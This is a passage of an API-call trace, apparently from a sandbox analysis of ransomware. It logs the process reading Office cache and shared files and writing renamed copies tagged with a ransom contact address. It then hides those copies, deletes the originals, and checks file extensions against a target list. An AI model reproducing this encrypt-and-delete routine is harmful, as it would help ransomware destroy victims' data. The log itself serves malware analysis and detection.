Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0082.991] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0082.991] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.991] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0082.991] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0082.992] GetLastError () returned 0x0 [0082.992] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x412b, lpOverlapped=0x0) returned 1 [0083.513] WriteFile (in: hFile=0x20c, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0x4130, lpOverlapped=0x0) returned 1 [0083.515] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x0, lpOverlapped=0x0) returned 1 [0083.516] WriteFile (in: hFile=0x20c, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0083.516] SetEndOfFile (hFile=0x20c) returned 1 [0083.516] CloseHandle (hObject=0x20c) returned 1 [0083.517] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0083.517] SetEndOfFile (hFile=0x1ac) returned 1 [0083.518] CloseHandle (hObject=0x1ac) returned 1 [0083.519] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0083.519] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0083.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0083.519] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0083.519] lstrlenW (lpString=".doc") returned 4 [0083.519] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0083.519] lstrlenW (lpString=".docx") returned 5 [0083.520] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0083.520] lstrlenW (lpString=".pdf") returned 4 [0083.520] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0083.520] lstrlenW (lpString=".xls") returned 4 [0083.520] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0083.520] lstrlenW (lpString=".xlsx") returned 5 [0083.520] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0083.520] lstrlenW (lpString=".ppt") returned 4 [0083.520] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0083.520] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0083.520] lstrlenW (lpString=".zip") returned 4 [0083.520] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0083.520] lstrlenW (lpString=".rar") returned 4 [0083.520] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0083.520] lstrlenW (lpString=".bz2") returned 4 [0083.520] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0083.520] lstrlenW (lpString=".7z") returned 3 [0083.521] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0083.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0083.521] lstrlenW (lpString=".dbf") returned 4 [0083.521] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0083.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0083.521] lstrlenW (lpString=".1cd") returned 4 [0083.521] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0083.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0083.521] lstrlenW (lpString=".jpg") returned 4 [0083.521] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0083.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0083.521] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0083.521] lstrlenW (lpString=".doc") returned 4 [0083.521] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0083.521] lstrlenW (lpString=".docx") returned 5 [0083.521] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0083.521] lstrlenW (lpString=".pdf") returned 4 [0083.521] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0083.521] lstrlenW (lpString=".xls") returned 4 [0083.521] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0083.522] lstrlenW (lpString=".xlsx") returned 5 [0083.522] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0083.522] lstrlenW (lpString=".ppt") returned 4 [0083.522] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0083.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0083.522] lstrlenW (lpString=".zip") returned 4 [0083.522] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0083.522] lstrlenW (lpString=".rar") returned 4 [0083.522] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0083.522] lstrlenW (lpString=".bz2") returned 4 [0083.522] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0083.522] lstrlenW (lpString=".7z") returned 3 [0083.522] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0083.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0083.522] lstrlenW (lpString=".dbf") returned 4 [0083.522] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0083.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0083.522] lstrlenW (lpString=".1cd") returned 4 [0083.522] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0083.522] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0083.522] lstrlenW (lpString=".jpg") returned 4 [0083.522] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0083.523] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0083.523] lstrlenW (lpString="Setup.xml") returned 9 [0083.523] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0083.523] GetFileSizeEx (in: hFile=0x1ac, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=20577) returned 1 [0083.523] CloseHandle (hObject=0x1ac) returned 1 [0083.523] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0083.523] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0083.524] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ac [0083.524] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0083.524] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0083.524] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0083.524] GetLastError () returned 0x0 [0083.524] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x5061, lpOverlapped=0x0) returned 1 [0083.654] WriteFile (in: hFile=0x20c, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0x5070, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0x5070, lpOverlapped=0x0) returned 1 [0083.656] ReadFile (in: hFile=0x1ac, lpBuffer=0x3ba0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x318fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesRead=0x318fed4*=0x0, lpOverlapped=0x0) returned 1 [0083.656] WriteFile (in: hFile=0x20c, lpBuffer=0x3ba0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x318fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ba0020*, lpNumberOfBytesWritten=0x318fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0083.656] SetEndOfFile (hFile=0x20c) returned 1 [0084.042] CloseHandle (hObject=0x20c) returned 1 [0084.067] SetFilePointerEx (in: hFile=0x1ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x318fec8 | out: lpNewFilePointer=0x0) returned 1 [0084.067] SetEndOfFile (hFile=0x1ac) returned 1 [0084.069] CloseHandle (hObject=0x1ac) returned 1 [0084.069] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0084.069] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0084.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0084.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0084.070] lstrlenW (lpString=".doc") returned 4 [0084.070] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0084.070] lstrlenW (lpString=".docx") returned 5 [0084.070] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0084.070] lstrlenW (lpString=".pdf") returned 4 [0084.070] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0084.070] lstrlenW (lpString=".xls") returned 4 [0084.070] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0084.070] lstrlenW (lpString=".xlsx") returned 5 [0084.070] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0084.070] lstrlenW (lpString=".ppt") returned 4 [0084.070] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0084.070] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0084.070] lstrlenW (lpString=".zip") returned 4 [0084.071] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0084.071] lstrlenW (lpString=".rar") returned 4 [0084.071] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0084.071] lstrlenW (lpString=".bz2") returned 4 [0084.071] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0084.071] lstrlenW (lpString=".7z") returned 3 [0084.071] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0084.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0084.071] lstrlenW (lpString=".dbf") returned 4 [0084.071] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0084.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0084.071] lstrlenW (lpString=".1cd") returned 4 [0084.071] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0084.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0084.071] lstrlenW (lpString=".jpg") returned 4 [0084.071] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0084.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0084.071] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0084.072] lstrlenW (lpString=".doc") returned 4 [0084.072] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0084.072] lstrlenW (lpString=".docx") returned 5 [0084.072] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0084.072] lstrlenW (lpString=".pdf") returned 4 [0084.072] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0084.072] lstrlenW (lpString=".xls") returned 4 [0084.072] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0084.072] lstrlenW (lpString=".xlsx") returned 5 [0084.072] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0084.072] lstrlenW (lpString=".ppt") returned 4 [0084.072] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0084.072] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0084.072] lstrlenW (lpString=".zip") returned 4 [0084.072] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0084.072] lstrlenW (lpString=".rar") returned 4 [0084.072] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0084.072] lstrlenW (lpString=".bz2") returned 4 [0084.072] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0084.072] lstrlenW (lpString=".7z") returned 3 [0084.072] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0084.072] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0084.073] lstrlenW (lpString=".dbf") returned 4 [0084.073] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0084.073] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0084.073] lstrlenW (lpString=".1cd") returned 4 [0084.073] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0084.073] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0084.073] lstrlenW (lpString=".jpg") returned 4 [0084.073] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0084.073] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0084.073] lstrlenW (lpString="Alphabet.xml") returned 12 [0084.073] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0084.361] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=791686) returned 1 [0084.361] CloseHandle (hObject=0x1b8) returned 1 [0084.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml")) returned 0x20 [0084.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0084.361] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\alphabet.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0084.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0084.361] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0084.361] lstrlenW (lpString=".doc") returned 4 [0084.361] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0084.362] lstrlenW (lpString=".docx") returned 5 [0084.362] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0084.362] lstrlenW (lpString=".pdf") returned 4 [0084.362] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0084.362] lstrlenW (lpString=".xls") returned 4 [0084.362] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0084.362] lstrlenW (lpString=".xlsx") returned 5 [0084.362] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0084.362] lstrlenW (lpString=".ppt") returned 4 [0084.362] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0084.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0084.362] lstrlenW (lpString=".zip") returned 4 [0084.362] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0084.362] lstrlenW (lpString=".rar") returned 4 [0084.362] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0084.362] lstrlenW (lpString=".bz2") returned 4 [0084.362] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0084.362] lstrlenW (lpString=".7z") returned 3 [0084.362] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0084.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0084.362] lstrlenW (lpString=".dbf") returned 4 [0084.362] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0084.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0084.362] lstrlenW (lpString=".1cd") returned 4 [0084.362] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0084.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0084.362] lstrlenW (lpString=".jpg") returned 4 [0084.362] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0084.362] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0084.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0084.363] lstrlenW (lpString=".doc") returned 4 [0084.363] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0084.363] lstrlenW (lpString=".docx") returned 5 [0084.363] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0084.363] lstrlenW (lpString=".pdf") returned 4 [0084.363] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0084.363] lstrlenW (lpString=".xls") returned 4 [0084.363] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0084.363] lstrlenW (lpString=".xlsx") returned 5 [0084.363] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0084.363] lstrlenW (lpString=".ppt") returned 4 [0084.363] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0084.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0084.363] lstrlenW (lpString=".zip") returned 4 [0084.363] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0084.363] lstrlenW (lpString=".rar") returned 4 [0084.363] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0084.363] lstrlenW (lpString=".bz2") returned 4 [0084.363] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0084.363] lstrlenW (lpString=".7z") returned 3 [0084.363] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0084.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0084.363] lstrlenW (lpString=".dbf") returned 4 [0084.363] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0084.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0084.363] lstrlenW (lpString=".1cd") returned 4 [0084.363] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0084.363] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\Alphabet.xml") returned 63 [0084.363] lstrlenW (lpString=".jpg") returned 4 [0084.363] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0084.364] lstrcmpiW (lpString1=".avi", lpString2=".data") returned -1 [0084.364] lstrlenW (lpString="boxed-split.avi") returned 15 [0084.364] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0085.102] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x318ff1c | out: lpFileSize=0x318ff1c*=62976) returned 1 [0085.102] CloseHandle (hObject=0x184) returned 1 [0085.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0085.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0085.103] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0085.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0085.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0085.103] lstrlenW (lpString=".doc") returned 4 [0085.103] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0085.103] lstrlenW (lpString=".docx") returned 5 [0085.103] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0085.103] lstrlenW (lpString=".pdf") returned 4 [0085.103] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0085.103] lstrlenW (lpString=".xls") returned 4 [0085.103] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0085.103] lstrlenW (lpString=".xlsx") returned 5 [0085.103] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0085.103] lstrlenW (lpString=".ppt") returned 4 [0085.103] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0085.103] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0085.103] lstrlenW (lpString=".zip") returned 4 [0085.103] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0085.103] lstrlenW (lpString=".rar") returned 4 [0085.103] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0085.103] lstrlenW (lpString=".bz2") returned 4 [0085.103] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0085.103] lstrlenW (lpString=".7z") returned 3 [0085.104] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0085.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0085.104] lstrlenW (lpString=".dbf") returned 4 [0085.104] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0085.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0085.104] lstrlenW (lpString=".1cd") returned 4 [0085.104] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0085.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0085.104] lstrlenW (lpString=".jpg") returned 4 [0085.104] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0085.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0085.104] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0085.104] lstrlenW (lpString=".doc") returned 4 [0085.104] lstrcmpiW (lpString1=".doc", 